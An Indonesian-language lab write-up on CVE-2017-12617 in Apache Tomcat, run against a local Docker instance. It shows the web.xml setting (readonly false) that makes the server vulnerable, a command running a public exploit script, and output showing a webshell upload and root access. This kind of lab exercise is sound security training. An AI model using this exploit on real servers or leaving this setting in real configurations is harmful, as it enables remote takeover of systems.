Apache2 Tomcat RCE (CVE-2017-12617)
Masalah
Diberikan layanan yang tersedia pada localhost:8080
, temukan celah keamanan didalamnya!
Penyelesaian
Persiapan
- Unduh berkas Docker Apache2 Tomcat yang vulnerable.
- Atur konfigurasi pada
/opt/apache-tomcat-8.5.21/conf/web.xml
agar berisi kode dibawah ini.
~ skipped ~
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
~ skipped ~
Properti yang perlu diatur agar vulnerable adalah readonly := false
.
Eksploitasi
Untuk mengeksploitasi layanan tersebut, gunakan berkas script yang tersimpan pada Github.
$ /tomcat-cve-2017-12617.py -u http://localhost:8080 -p pwn
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
Uploading Webshell .....
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)